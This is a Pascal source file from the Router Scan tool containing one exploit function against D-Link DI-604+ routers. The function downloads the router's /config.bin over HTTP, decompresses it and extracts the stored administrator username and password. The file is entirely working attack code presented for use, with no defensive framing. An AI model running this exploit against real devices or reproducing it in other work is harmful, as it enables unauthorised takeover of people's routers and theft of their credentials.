// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_DLinkDIConfig(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
const
  ofs = $E;
var
  Code: Integer;
  MS, MSO: TMemoryStream;
  A: AnsiString;
begin
  // Affected:
  // D-Link DI-604+
  Result := False;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  MS := TMemoryStream.Create;
  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/config.bin',
  MS, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin
    if MS.Size > 8192 then begin
      Move(Pointer(Cardinal(MS.Memory) + ofs)^, MS.Memory^, MS.Size - ofs);
      MS.SetSize(MS.Size - ofs);
      MSO := TMemoryStream.Create;
      if Deflate(MS, MSO) then begin
        SetLength(A, MSO.Size);
        Move(MSO.Memory^, A[1], Length(A));
        if Pos('/mgmt:0/name=', A)>0 then begin
          AuthUser := DeleteBetween(A, '/mgmt:0/name=', #13#10);
          Result := True;
        end;
        if Pos('/mgmt:0/password=', A)>0 then begin
          AuthPass := DeleteBetween(A, '/mgmt:0/password=', #13#10);
          Result := True;
        end;
      end;
      MSO.Free;
    end;
  end;
  MS.Free;
end;
